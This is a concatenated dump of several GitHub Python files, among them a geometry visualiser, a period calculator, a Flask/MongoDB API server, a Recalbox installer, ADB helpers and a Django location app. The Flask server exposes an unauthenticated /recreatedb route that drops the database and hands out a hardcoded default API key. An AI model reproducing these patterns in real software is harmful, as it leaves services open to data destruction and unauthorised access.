control.plot_delete(new_plot_id)\n control.sleep()\n control.thaw_update()\n\n return nG, p - b\n\ndef recursive_ham_sandwich(G1, G2, p1, p2, T):\n if len(G1) < len(G2):\n return recursive_ham_sandwich(G2, G1, p2, p1, T)\n T, is_base = new_interval(G1, G2, p1, p2, T)\n\n if is_base:\n valid_answers = []\n for g in G1:\n for h in G2:\n p = g.intersect(h)\n if p and isinstance(p.dual(), Line):\n valid_answers.append(p.dual())\n return valid_answers, G1+G2\n\n t = new_trapezoid(G1, p1, T)\n t_ids = []\n control.freeze_update()\n for i in range(4):\n j = (i + 1) % 4\n t_ids.append(control.plot_segment(t[i].x, t[i].y, t[j].x, t[j].y, 'yellow'))\n control.sleep()\n control.thaw_update()\n\n G1, p1 = discard_lines(G1, p1, t)\n G2, p2 = discard_lines(G2, p2, t)\n\n for id in t_ids:\n control.plot_delete(id)\n\n return recursive_ham_sandwich(G1, G2, p1, p2, T)\n\ndef ham_sandwich(P1, P2):\n G1 = points_to_lines(P1, 'red')\n G2 = points_to_lines(P2, 'blue')\n valid_answers, missing_lines = recursive_ham_sandwich(G1, G2, len(G1)//2, len(G2)//2, (-inf, inf))\n for l in valid_answers:\n if verify_solution(P1, P2, l):\n control.freeze_update()\n p = l.dual()\n p.tk = pt(p.x, p.y)\n p.tk.plot('green')\n control.sleep()\n control.thaw_update()\n delete_stuff(missing_lines + [p])\n return l\n return None\n\ndef points_to_lines(P, color):\n G = []\n for p in P:\n control.thaw_update()\n p.tk.hilight(color)\n control.sleep()\n control.freeze_update()\n g = p.dual()\n g.plot_id = control.plot_line(0, g(0), 1, g(1), color)\n G.append(g)\n p.tk.unhilight()\n p.tk.unplot()\n control.sleep()\n return G\n\ndef delete_stuff(stuff):\n control.freeze_update()\n for s in stuff:\n if isinstance(s, Line):\n control.plot_delete(s.plot_id)\n else:\n s.tk.unplot()\n control.sleep()\n control.thaw_update\n\ndef plot_points(P1, P2):\n for p in P1:\n p.tk.hilight('red')\n for p in P2:\n p.tk.hilight('blue')\n\ndef partition_and_run(p):\n seed(0)\n P = [Point.from_framework_point(i) for i in p]\n\n half = len(P) // 2\n P1, P2 = P[:half], P[half:]\n\n line = ham_sandwich(P1, P2)\n \n plot_points(P1, P2)\n control.plot_line(0, line(0), 100000, line(100000), 'green')\n","repo_name":"pedroteosousa/ham_sandwich","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73282028323","text":"from .entities import Action,Period\r\nfrom typing import List,Tuple\r\n\r\ndef last(arr: List):\r\n \"\"\"\r\n Returns the last element in an array. \r\n In case the array is empty- returns None.\r\n \"\"\"\r\n if len(arr) == 0:\r\n return None\r\n else:\r\n return arr[len(arr) - 1]\r\n\r\nclass PeriodCalculator:\r\n \"\"\"\r\n Calculates the periods from the actions. \r\n \r\n Its base assumptions are:\r\n 1. Every action before the first \"start\" should be ignored.\r\n 2. \"start\" as the last action should be ignored.\r\n 3. \"cancel_start\" after a \"stop\" should be ignored (when wasn't a \"start\" between).\r\n 4. \"cancel_stop\" after a \"start\" should be ignored (when wasn't a \"stop\" between).\r\n 5. In case of sequence of \"start\" or \"stop\" - \r\n we should take the action with the latest activation date.\r\n 6. There isn't a guide for dealing with \"start\" and \"stop\" with the same activation date.\r\n \"\"\"\r\n\r\n def calculate(self, actions: List[Action])-> List[Period]:\r\n \"\"\"\r\n This method calculates the periods according the actions. \r\n It assumes that the actions are ordered according \"activation_date\".\r\n \"\"\"\r\n\r\n periods = []\r\n starts, stops = self.__create_positions(actions)\r\n\r\n # If there aren't positions - there aren't periods\r\n if len(starts) != 0:\r\n # The positions are ordered that for every \"start\" has a \"stop\" partner at the same index.\r\n # They \"builds\" the period (-:\r\n for index in range(0, len(starts)):\r\n start_action = actions[starts[index]]\r\n stop_action = actions[stops[index]]\r\n\r\n periods.append(Period(start_action.date, stop_action.date))\r\n\r\n return periods\r\n\r\n def calculate2(self, actions: List[Action]) -> List[Period]:\r\n cleaned_actions: List[Action] = []\r\n\r\n for action in actions:\r\n if action.is_start():\r\n # Wern't actions or the last action was stop - append the action\r\n if len(cleaned_actions) == 0 or last(cleaned_actions).is_stop():\r\n cleaned_actions.append(action)\r\n # The last action was start - remove it and take this action (latest choice)\r\n else:\r\n cleaned_actions.pop()\r\n cleaned_actions.append(action)\r\n elif action.is_stop():\r\n # The first action must be \"start\"\r\n if len(cleaned_actions) == 0:\r\n pass\r\n # The last action is start - append the action\r\n elif last(cleaned_actions).is_start():\r\n cleaned_actions.append(action)\r\n # The last action is stop - remove it and take this action (latest choice)\r\n else:\r\n cleaned_actions.pop()\r\n cleaned_actions.append(action)\r\n elif action.is_cancel_start():\r\n # The last action is start - remove it. If last is stop- do nothing.\r\n if len(cleaned_actions) != 0 and last(cleaned_actions).is_start():\r\n cleaned_actions.pop()\r\n elif action.is_cancel_stop():\r\n # The last action is stop - remove it. If last is start- do nothing.\r\n if len(cleaned_actions) != 0 and last(cleaned_actions).is_stop():\r\n cleaned_actions.pop()\r\n\r\n # In the case the last action is start - we should remove it because the last \r\n # must be stop\r\n if len(cleaned_actions) != 0 and last(cleaned_actions).is_start():\r\n cleaned_actions.pop()\r\n\r\n # \"cleaned_actions\" consists from pairs of \"start\" and \"stop\". \r\n # Therefore, we are going to iterate over it create the periods from the pairs\r\n periods = []\r\n index = 0\r\n while index < len(cleaned_actions):\r\n start_action = cleaned_actions[index]\r\n stop_action = cleaned_actions[index + 1]\r\n\r\n periods.append(Period(start_action.date, stop_action.date))\r\n index += 2\r\n\r\n return periods\r\n\r\n\r\n\r\n def __create_positions(self, actions: List[Action])-> Tuple:\r\n \"\"\"\r\n This method gets all actions and creates the positions of \"starts\" and \"stops\" according \r\n the assumptions above.\r\n It returns a pair of positions - (\"starts\", \"stops\")\r\n \"\"\"\r\n starts, stops = [], []\r\n\r\n # Iterate over the actions and create the \"start\" and \"stop\" positions according them\r\n for index in range(0, len(actions)):\r\n self.__create_positions_according_action(starts, stops, actions, index)\r\n \r\n # \"start\" is not allowed to be the last action.\r\n if last(starts) != None and (last(stops) == None or last(stops) < last(starts)):\r\n starts.pop()\r\n\r\n return starts, stops\r\n\r\n def __create_positions_according_action(self, starts, stops, actions, action_index):\r\n action = actions[action_index]\r\n\r\n if action.is_stop():\r\n # \"stop\" in the begining - ignore\r\n if last(starts) == None:\r\n return\r\n\r\n # last action was \"start\" - append position\r\n elif last(stops) == None or last(stops) < last(starts):\r\n stops.append(action_index)\r\n\r\n # last action was \"stop\" - \r\n # remove its position and append the current (we take the later)\r\n else:\r\n stops.pop()\r\n stops.append(action_index)\r\n elif action.is_start():\r\n # This is the first action - append position\r\n if last(starts) == None:\r\n starts.append(action_index)\r\n \r\n # The previous was \"stop\"\r\n elif last(stops) != None and last(stops) > last(starts):\r\n starts.append(action_index)\r\n \r\n # The previous was \"start\" - \r\n # remove its position and append the current (we take the later)\r\n else:\r\n starts.pop()\r\n starts.append(action_index)\r\n\r\n # Action is \"cancel_stop\" and the last action was \"stop\" - remove it\r\n elif action.is_cancel_stop() and last(stops) != None and last(stops) > last(starts):\r\n stops.pop()\r\n\r\n # Action is \"cancel_start\" and the last action was \"start\" - remove it\r\n elif action.is_cancel_start() and last(starts) != None \\\r\n and (last(stops) == None or last(starts) > last(stops)):\r\n starts.pop()\r\n\r\n","repo_name":"HadadEliran/Clew","sub_path":"Consumer/consumer/consumer_app/period_calculator.py","file_name":"period_calculator.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70457037921","text":"import base64\nimport os\nfrom uuid import uuid4\nfrom flask import Flask, session, render_template, make_response, request, redirect, g\nfrom flask_login import LoginManager, login_user, login_required, logout_user\nfrom flask_pymongo import PyMongo\nfrom flask_restful import Api\nfrom pymongo import Connection\nfrom bson import json_util\nimport json\nimport base64\nfrom werkzeug.utils import secure_filename\nfrom geosnap.service.UserService import UserService\n\napp = Flask(__name__, instance_relative_config=False)\napp.config.from_pyfile('geosnap.cfg', silent=False)\n\nmongo = PyMongo(app)\n\napi = Api(app)\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n@login_manager.user_loader\ndef _login(user_id):\n user = get_user(user_id)\n setattr(g, 'user', user)\n return user\n\n\n@login_manager.request_loader\ndef load_user_from_request(request):\n # first, try to login using the api_key url arg\n api_key = request.args.get('api_key')\n\n if not api_key:\n api_key = request.headers.get('Authorization')\n if api_key:\n api_key = api_key.replace('Basic ', '', 1)\n try:\n api_key = base64.b64decode(api_key).decode('utf-8')\n except TypeError:\n pass\n\n if api_key:\n user = get_user_by_api_key(api_key)\n setattr(g, 'user', user)\n return user\n return None\n\n\nclass User(object):\n def __init__(self, user_id='', name='', email='', roles=None):\n if not roles:\n roles = []\n self.user_id = user_id\n self.name = name\n self.email = email\n self.roles = roles\n\n def is_authenticated(self):\n return self.user_id is not None\n\n def is_active(self):\n return self.is_authenticated()\n\n def is_anonymous(self):\n return 'anonymous' in self.roles\n\n def get_id(self):\n return self.user_id\n\n def is_super_admin(self):\n return self.roles and len(self.roles) > 0 and \"super_admin\" in self.roles\n\n\ndef get_user(_id):\n service = UserService(mongo.db)\n user = service.get_by_id(_id)\n if not user:\n return None\n return User(str(user['_id']), user['name'], user['email'], user['roles'])\n\n\ndef get_user_by_api_key(api_key):\n service = UserService(mongo.db)\n user = service.get_by_api_key(api_key)\n if not user:\n return None\n return User(str(user['_id']), user['name'], user['email'], user['roles'])\n\n\n@api.representation('application/json')\ndef mjson(data, code, headers=None):\n d = json.dumps(data, default=json_util.default)\n resp = make_response(d, code)\n resp.headers.extend(headers or {})\n return resp\n\n\n@app.route(\"/\")\ndef index():\n name = session.get('name', None)\n return render_template('index.jinja2', name=name)\n\n\n@app.route('/login', methods=[\"POST\"])\ndef login():\n username = request.json['username']\n password = request.json['password']\n if username and password:\n service = UserService(mongo.db)\n if service.validate_user(username, password):\n user = service.get_by_email(username)\n login_user(\n User(str(user['_id']), user['name'], user['email'], user['roles']))\n return json.dumps(\n {'id': str(user['_id']), 'name': user['name'], 'roles': user['roles'], 'status': user['status']})\n return \"Invalid credentials\", 400\n\n\n@app.route('/validate_user', methods=['POST'])\ndef validate_user():\n username = request.json['email']\n password = request.json['password']\n if username and password:\n service = UserService(mongo.db)\n if service.validate_user(username, password):\n user = service.get_by_email(username)\n if 'api_key' not in user:\n user['api_key'] = \"TEtORDg5JiUjQCFOREZITEtE\"\n return json.dumps(\n {'status': 'success',\n '_id': str(user['_id']),\n 'name': user['name'],\n 'roles': user['roles'],\n 'api_key': user['api_key']})\n return json.dumps({'status': 'error', 'message': 'Invalid credentials', 'api_key': None})\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return '', 200\n\n\n@app.route(\"/recreatedb\")\ndef recreate_db():\n print('Dropping database(' + app.config['MONGO_DBNAME'] + ')....\\n')\n c = Connection()\n c.drop_database(app.config['MONGO_DBNAME'])\n return redirect('/')\n\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nupload_folder = os.path.join(APP_ROOT, 'static/images/sites/')\n\n\ndef allowed_files(filename):\n return '.' in filename and filename.split('.')[1] in ['jpg', 'png', 'gif', 'jpeg', 'bmp']\n\n\n@app.route(\"/upload_site_images\", methods=['GET', 'POST'])\ndef upload_site_images():\n if request.files and len(request.files) > 0 and request.files['file']:\n file_body = request.files['file']\n if allowed_files(secure_filename(file_body.filename)):\n filename = secure_filename(str(uuid4()) + \".\" + file_body.filename.split('.')[1])\n file_body.save(os.path.join(upload_folder, filename))\n return json.dumps({\"status\": \"success\", \"id\": filename, \"filename\": filename})\n return '', 404\n\n\nfrom geosnap.resources.user import UserApi, UserListApi\nfrom geosnap.resources.distributor import DistributorListApi, DistributorApi\nfrom geosnap.resources.district import DistrictApi, DistrictListApi\nfrom geosnap.resources.dealer import DealerApi, DealerListApi\nfrom geosnap.resources.site import SiteApi, SiteListApi\n\napi.add_resource(UserApi, '/api/user/')\napi.add_resource(UserListApi, '/api/users')\n\napi.add_resource(DistributorApi, '/api/distributor/')\napi.add_resource(DistributorListApi, '/api/distributors')\n\napi.add_resource(DistrictApi, '/api/district/')\napi.add_resource(DistrictListApi, '/api/districts')\n\napi.add_resource(DealerApi, '/api/dealer/')\napi.add_resource(DealerListApi, '/api/dealers')\n\napi.add_resource(SiteApi, '/api/site/')\napi.add_resource(SiteListApi, '/api/sites')\n","repo_name":"cackharot/geosnap-server","sub_path":"src/geosnap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24255414039","text":"from hashlib import new\nfrom tkinter import E\nimport shapefile\nimport simplekml\nimport os\nfrom simplekml import Kml\n\n#(Variable file name: entered by user at runtime)\nfilename = input(\"Input file location: \")\n#Reading shapefile\nshape = shapefile.Reader(filename)\nfile_save_name = input(\"Enter file name: \")\nfile_des = input(\"File description: \")\n#KML\nkml = simplekml.Kml()\nkml.document.name = file_save_name\n\nemptyCoord = []\nfor x in range(len(shape)):\n feature = shape.shapeRecords()[x]\n first = feature.shape.__geo_interface__\n coordinates = list(first.values())[1]\n emptyCoord.append(coordinates)\n\nlin = kml.newlinestring(name=kml.document.name, description=file_des, coords=emptyCoord)\nkml.save(file_save_name + \".kml\")","repo_name":"ahmerhh/coord_kmlfilecreate","sub_path":"simpleKml_filecreate.py","file_name":"simpleKml_filecreate.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35711970644","text":"import os\nimport logger\nimport shutil\nfrom filemanipulation import sed, stripline\nfrom installers.base.install import InstallBase\nfrom settings import keyValueSettings\n\n# status flags\n# ex: 1100 0110\n# || |\\-VSTAT1\n# || \\-VSTAT2\n# |\\-power button (0 -> off position, 1 -> on position)\n# \\-VBus\n\n\nclass Install(InstallBase):\n\n BASE_SOURCE_FOLDER = InstallBase.BASE_SOURCE_FOLDER + \"piboy/\"\n RECALBOX_CONF = \"/recalbox/share/system/recalbox.conf\"\n\n def __init__(self):\n InstallBase.__init__(self)\n\n def InstallHardware(self, case):\n\n logger.hardlog(\"Installing PiBoy DMG hardware\")\n\n try:\n os.system(\"mount -o remount,rw /boot\")\n os.system(\"mount -o remount,rw /\")\n files = {\n '/boot/recalbox-user-config.txt': '/boot/recalbox-user-config.txt.backup',\n self.BASE_SOURCE_FOLDER + 'assets/recalbox-user-config.txt': '/boot/recalbox-user-config.txt',\n self.BASE_SOURCE_FOLDER + 'assets/piboy.ppm': '/boot/boot.ppm',\n }\n for source_file, dest_file in files.items():\n installed_file = shutil.copy(source_file, dest_file)\n logger.hardlog(f\"PiBoy: {installed_file} installed\")\n\n sed('\\s*video=[^ ]+', '', '/boot/cmdline.txt')\n sed('noswap', 'noswap video=HDMI-A-1:d', '/boot/cmdline.txt')\n logger.hardlog(\"PiBoy: set video parameter in cmdline.txt\")\n\n except Exception as e:\n logger.hardlog(\"PiBoy: Exception = {}\".format(e))\n return False\n\n finally:\n # write 129 to flags in order to reboot properly (instead of shutdown)\n with open(\"/sys/kernel/xpi_gamecon/flags\", \"w\") as xpiflags:\n xpiflags.write(\"129\\n\")\n\n logger.hardlog(\"PiBoy DMG hardware installed successfully!\")\n return True\n\n def UninstallHardware(self, case):\n\n try:\n os.system(\"mount -o remount,rw /boot\")\n os.system(\"mount -o remount,rw /\")\n # Uninstall /boot/recalbox-user-config.txt\n if os.system(\"cp /boot/recalbox-user-config.txt.backup /boot/recalbox-user-config.txt\") != 0:\n logger.hardlog(\"PiBoy: Error uninstalling recalbox-user-config.txt\")\n return False\n logger.hardlog(\"PiBoy: recalbox-user-config.txt uninstalled\")\n os.remove(\"/boot/boot.ppm\")\n logger.hardlog(\"PiBoy: /boot/boot.ppm uninstalled\")\n sed(' video=HDMI-A-1:d', '', '/boot/cmdline.txt')\n logger.hardlog(\"PiBoy: removed video setting in cmdline.txt\")\n\n except Exception as e:\n logger.hardlog(\"PiBoy: Exception = {}\".format(e))\n return False\n\n finally:\n os.system(\"mount -o remount,ro /boot\")\n os.system(\"mount -o remount,ro /\")\n\n return True\n\n def InstallSoftware(self, case):\n\n if case == \"PiBoy\":\n\n logger.hardlog(\"Installing PiBoy DMG software\")\n\n try:\n os.system(\"mount -o remount,rw /\")\n # Load recalbox.conf\n recalboxConf = keyValueSettings(self.RECALBOX_CONF, False)\n recalboxConf.loadFile()\n\n # Set powerswitch.sh config\n recalboxConf.setOption(\"system.power.switch\", \"PIBOY\")\n logger.hardlog(\"PiBoy: powerswitch configured\")\n # Set wpaf config\n recalboxConf.setOption(\"hat.wpaf.enabled\", \"1\")\n recalboxConf.setOption(\"hat.wpaf.board\", \"piboy\")\n logger.hardlog(\"PiBoy: wpaf configured\")\n recalboxConf.setOption(\"emulationstation.theme.folder\", \"recalbox-goa2\")\n logger.hardlog(\"PiBoy: theme set to recalbox-goa2\")\n recalboxConf.setOption(\"audio.device\", \"alsa_card.platform-bcm2835_audio.2:analog-output-headphones\")\n logger.hardlog(\"PiBoy: audio.device set to alsa_card.platform-bcm2835_audio.2:analog-output-headphones\")\n recalboxConf.saveFile()\n # Force default videomode\n sed(\n \"([a-zA-Z0-9.].videomode)\\\\s*=.*\",\n \"\\\\1=default\",\n self.RECALBOX_CONF,\n )\n # Install /etc/init.d/S06volumed\n sourceConfig = self.BASE_SOURCE_FOLDER + \"assets/S06volumed\"\n if os.system(\"cp {} /etc/init.d/\".format(sourceConfig)) != 0:\n logger.hardlog(\"PiBoy: Error installing S06volumed\")\n return \"\"\n logger.hardlog(\"PiBoy: S06volumed installed\")\n\n # Install /etc/init.d/S15piboyswitch\n sourceConfig = self.BASE_SOURCE_FOLDER + \"assets/S15piboyswitch\"\n if os.system(\"cp {} /etc/init.d/\".format(sourceConfig)) != 0:\n logger.hardlog(\"PiBoy: Error installing S15piboyswitch\")\n return \"\"\n logger.hardlog(\"PiBoy: S15piboyswitch installed\")\n\n # Install /recalbox/share/.retroarch.cfg\n sourceConfig = self.BASE_SOURCE_FOLDER + \"assets/piboy-retroarch.cfg\"\n if os.system(\"cp {} /recalbox/share/.retroarch.cfg\".format(sourceConfig)) != 0:\n logger.hardlog(\"PiBoy: Error installing .retroarch.cfg\")\n return \"\"\n logger.hardlog(\"PiBoy: .retroarch.cfg installed\")\n\n # start volumed service for volume wheel to work properly\n os.system(\"/etc/init.d/S06volumed start\")\n # start S15piboyswitch to manage lcd display and theme\n os.system(\"/etc/init.d/S15piboyswitch start\")\n\n except Exception as e:\n logger.hardlog(\"PiBoy: Exception = {}\".format(e))\n return \"\"\n\n finally:\n os.system(\"mount -o remount,ro /\")\n\n logger.hardlog(\"PiBoy DMG software installed successfully!\")\n return case\n\n return \"\"\n\n def UninstallSoftware(self, case):\n\n try:\n os.system(\"mount -o remount,rw /\")\n os.remove(\"/recalbox/share/.retroarch.cfg\")\n logger.hardlog(\"PiBoy: /recalbox/share/.retroarch.cfg uninstalled\")\n\n except Exception as e:\n logger.hardlog(\"PiBoy: Exception = {}\".format(e))\n\n try:\n os.system(\"mount -o remount,rw /\")\n os.remove(\"/etc/init.d/S06volumed\")\n logger.hardlog(\"PiBoy: /etc/init.d/S06volumed uninstalled\")\n os.remove(\"/etc/init.d/S15piboyswitch\")\n logger.hardlog(\"PiBoy: /etc/init.d/S15piboyswitch uninstalled\")\n # Load recalbox.conf\n recalboxConf = keyValueSettings(self.RECALBOX_CONF, False)\n recalboxConf.loadFile()\n\n # Remove powerswitch.sh config\n recalboxConf.removeOption(\"system.power.switch\")\n # Remove wpaf config\n recalboxConf.setOption(\"hat.wpaf.enabled\", \"0\")\n recalboxConf.removeOption(\"hat.wpaf.board\")\n recalboxConf.saveFile()\n logger.hardlog(\"PiBoy: powerswitch unconfigured\")\n\n except Exception as e:\n logger.hardlog(\"PiBoy: Exception = {}\".format(e))\n return case\n\n finally:\n os.system(\"mount -o remount,ro /\")\n\n return \"\"\n\n def GetInstallScript(self, case):\n\n return None\n","repo_name":"live-clones/recalbox","sub_path":"projects/recalbox-hardware/case/installers/piboy/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":7422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"73114273120","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nimport time\n\ndef main(url):\n path = \"/Applications/chromedriver\"\n options = webdriver.ChromeOptions()\n options.add_argument(\"--headless\")\n driver = webdriver.Chrome(executable_path=path,options=options)\n driver.get(url)\n\n img = driver.find_element(By.XPATH,'//*[@id=\"mw-content-text\"]/div[1]/table[2]/tbody/tr[1]/td/a/img')#ここは穴埋め!\n src = img.get_attribute('src')\n if src:\n # ファイルの保存\n with open(f'yukichi.png', 'wb') as f:\n f.write(img.screenshot_as_png)\n driver.quit()\n\nif __name__=='__main__':\n url = 'https://ja.wikipedia.org/wiki/%E7%A6%8F%E6%BE%A4%E8%AB%AD%E5%90%89'\n main(url)","repo_name":"yuma-okuda/webapp_day1","sub_path":"answer/yukichi.py","file_name":"yukichi.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20481949220","text":"import os\nfrom xml.dom.minidom import parse\nimport xml.dom.minidom\nimport time\nclass Adbcmd:\n def __init__(self,package):\n os.system(\"adb devices\")\n self.package = package\n # devicelist\n def getdevicelist(self):\n result_list=[]\n result = os.popen(\"adb devices\").readlines()\n if len(result)==1:\n print(\"no devices\")\n else:\n for index,value in enumerate(result):\n if index !=0 and \"device\" in value:\n result_list.append(os.popen(\"adb devices\").readlines()[index].replace(\"\\t\",\"\").replace(\"device\",\"\").replace(\"\\n\",\"\"))\n return result_list\n # get device width\n def getW(self,devicesid):\n result_list = os.popen(\"adb -s \"+devicesid+\" shell dumpsys window displays |grep 'DisplayFrames'\").readline()\n w = result_list.split(\" \")[3][2:]\n return int(w)\n # get device height\n def getH(self,devicesid):\n result_list = os.popen(\"adb -s \"+devicesid+\" shell dumpsys window displays |grep 'DisplayFrames'\").readline()\n h = result_list.split(\" \")[4][2:]\n return int(h)\n # device is awaked or not\n def isAwaked(self,deviceid):\n if deviceid == '':\n cmd = 'adb shell dumpsys window policy'\n else:\n cmd = 'adb -s ' + deviceid + ' shell dumpsys window policy'\n screenAwakevalue = 'mAwake=true'\n allList=\"\"\n allList = os.popen(cmd).readlines()\n for strs in allList:\n if screenAwakevalue in strs:\n return True\n screenAwakevalue2 = \"SCREEN_STATE_ON\"\n for strs in allList:\n if screenAwakevalue2 in strs:\n return True\n cmd = 'adb -s '+deviceid+' shell input keyevent 26'\n os.popen(cmd)\n return False\n # restartsmsapp\n def restartsms(self,deviceid,apppackage):\n self.closeapp(deviceid,\"site.qifen.ucpaysms\")\n time.sleep(2)\n #start smsapp\n self.startapp(deviceid,\"site.qifen.ucpaysms\")\n time.sleep(3)\n self.startapp(deviceid,apppackage)\n time.sleep(2)\n # startapp\n def startapp(self,deviceid,apppackage):\n cmd = 'adb -s '+deviceid+' shell monkey -p '+apppackage+' -c android.intent.category.LAUNCHER 1'\n os.system(cmd)\n # close app\n def closeapp(self,deviceid,apppackage):\n cmd = 'adb -s '+deviceid+' shell am force-stop '+apppackage\n os.system(cmd)\n # change adbkeyboard\n def change_adbkeyboard(self,deviceid):\n cmd = 'adb -s '+deviceid+ ' shell ime set com.android.adbkeyboard/.AdbIME'\n os.system(cmd)\n # change sougou\n def change_sogou(self,deviceid):\n cmd = 'adb -s '+deviceid+ 'shell ime set com.sohu.inputmethod.sogou.vivo/.SogouIME'\n os.system(cmd)\n # input chinese\n def input_ch(self,str,deviceid):\n cmd = 'adb -s '+deviceid+' shell am broadcast -a ADB_INPUT_TEXT --es msg '+str\n os.system(cmd)\n # remove,create and get xml\n def touch_xml(self,deviceid):\n wk = self.isAwaked(deviceid)\n os.system(\"adb -s \"+deviceid+\" shell rm /sdcard/window_dump_\"+deviceid+\".xml\")\n os.system(\"sudo adb -s \"+deviceid+\" shell uiautomator dump /sdcard/window_dump_\"+deviceid+\".xml\")\n count = 0\n while True:\n count +=1\n result = os.system(\"adb -s \"+deviceid+\" pull /sdcard/window_dump_\"+deviceid+\".xml\")\n if result ==0:\n DOMTree = xml.dom.minidom.parse(\"window_dump_\"+deviceid+\".xml\")\n nodes = DOMTree.getElementsByTagName(\"node\")\n for n in nodes:\n if n.getAttribute(\"package\")==self.package:\n return True\n if count >100:\n return False\n os.system(\"sudo adb -s \"+deviceid+\" shell uiautomator dump /sdcard/window_dump_\"+deviceid+\".xml\")\n # click pos on device\n def tap_pos(self,deviceid,x,y):\n os.system(\"adb -s \"+deviceid+\" shell input tap \"+str(x)+\" \"+str(y))\n ","repo_name":"michael19831019/transfer","sub_path":"system/adbcmd.py","file_name":"adbcmd.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40441200467","text":"# -*- coding: utf-8 -*-\nfrom django.contrib.auth.views import login, logout\nfrom django.shortcuts import render, redirect\nfrom django.conf import settings\n# Create your views here.\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom findme.forms import RegisterForm, UpdateDataForm\nimport redis, json, ast, re\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\nDATA_LONGITUDE = None\nDATA_LATITUDE = None\nPOOL = redis.ConnectionPool(host='127.0.0.1', port=6379, db=0)\n\n\ndef getVariable(variable_name):\n my_server = redis.Redis(connection_pool=POOL)\n response = my_server.get(variable_name)\n return response\n\ndef register(request):\n template_name = 'login/register.html'\n if request.method == 'POST':\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect(settings.LOGIN_URL)\n else:\n form = RegisterForm()\n context = {\n 'form': form\n }\n return render(request, template_name, context)\n\n@login_required\ndef painel(request):\n template_name = 'painel.html'\n global DATA_LONGITUDE, DATA_LATITUDE\n\n if DATA_LATITUDE:\n context = {\n 'user': request.user,\n 'longitude': re.findall('[-,'']\\d+\\.\\d+', DATA_LONGITUDE),\n 'latitude': re.findall('[-,'']\\d+\\.\\d+', DATA_LATITUDE)\n }\n else:\n DATA_LONGITUDE = -47.883283734874055\n DATA_LATITUDE = -15.794422964444115\n context = {\n 'user': request.user,\n 'longitude': DATA_LONGITUDE,\n 'latitude': DATA_LATITUDE\n }\n\n return render(request, template_name, context)\n\n\ndef user_logout(request):\n logout(request)\n return redirect(settings.LOGIN_URL)\n\n@login_required\ndef map(request):\n return render(request, 'apiMaps.html')\n\ndef user_update(request, id):\n user = request.user\n template_name = 'login/atualizar.html'\n if request.method == \"POST\":\n form = UpdateDataForm(instance=user)\n #import pdb; pdb.set_trace()\n if form.is_valid():\n form.update()\n redirect(settings.LOGIN_REDIRECT_URL)\n else:\n #import pdb; pdb.set_trace()\n form = UpdateDataForm(initial={'username': user.username,\n 'email':user.email, 'first_name':user.first_name,\n 'last_name': user.last_name\n })\n return render(request, template_name, {'form': form, 'user': user})\n\n\n@login_required\ndef longitude(request):\n response = getVariable(request.user)\n json_data = response.decode(\"utf-8\")\n a = json.loads(json.dumps(ast.literal_eval(json_data)))\n longitude = a[\"longitude\"][0]\n global DATA_LONGITUDE\n DATA_LONGITUDE = longitude\n return HttpResponse(longitude)\n \n@login_required\ndef latitude(request):\n response = getVariable(request.user)\n data = response.get(request.user)\n json_data = data.decode(\"utf-8\")\n a = json.loads(json.dumps(ast.literal_eval(json_data)))\n latitude = a[\"latitude\"][0]\n global DATA_LATITUDE\n DATA_LATITUDE = latitude\n return HttpResponse(latitude)","repo_name":"felipeit/fdme","sub_path":"findme/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15420482817","text":"from PyQt5.QtWidgets import (QMainWindow,QWidget, QLabel, QLineEdit, QPushButton,\n QApplication, QMessageBox,QAction,QGridLayout,\n QTableWidget, QTableWidgetItem, QToolBar,QHeaderView, QAbstractScrollArea)\nfrom PyQt5.QtCore import Qt,QCoreApplication,QRect,QSize\nfrom PyQt5.QtGui import QPainter, QColor, QFont,QIcon\n\nimport sys\nimport importlib\nimport psycopg2\n\nfrom FindApp import DataGetter\nimportlib.reload(DataGetter)\n\ndef initUI(self):\n\n \"\"\"\n\n\t@function initUi creating Table Layout\n\n\t\"\"\"\n self.setWindowTitle('FindApp')\n self.setWindowIcon(QIcon('image/logo.png'))\n\n \"\"\"back toolbar botton\"\"\"\n backAction = QAction(QIcon('image/back.png'), 'Назад', self)\n backAction.setShortcut('Ctrl+Z')\n backAction.setStatusTip('back')\n backAction.triggered.connect(self.backBtnAction)\n\n \"\"\"setting status bar\"\"\"\n self.statusBar()\n\n \"\"\"setting toolbar\"\"\"\n toolbar = QToolBar('main')\n self.addToolBar(Qt.RightToolBarArea,toolbar)\n toolbar.addAction(backAction)\n toolbar.setToolButtonStyle( Qt.ToolButtonTextUnderIcon)\n toolbar.setIconSize(QSize(40, 40))\n\n central_widget = QWidget(self)\n self.setCentralWidget(central_widget)\n\n grid_layout = QGridLayout()\n central_widget.setLayout(grid_layout)\n\n DG = DataGetter.DataGetter(dbname = self.current_db)\n frame,features = DG.executeQuery('select * from v_full_info',prepareFlag = False)\n\n table = QTableWidget(self)\n table.setSizeAdjustPolicy(QAbstractScrollArea.AdjustToContents)\n\n if len(frame) == 0:\n reply = 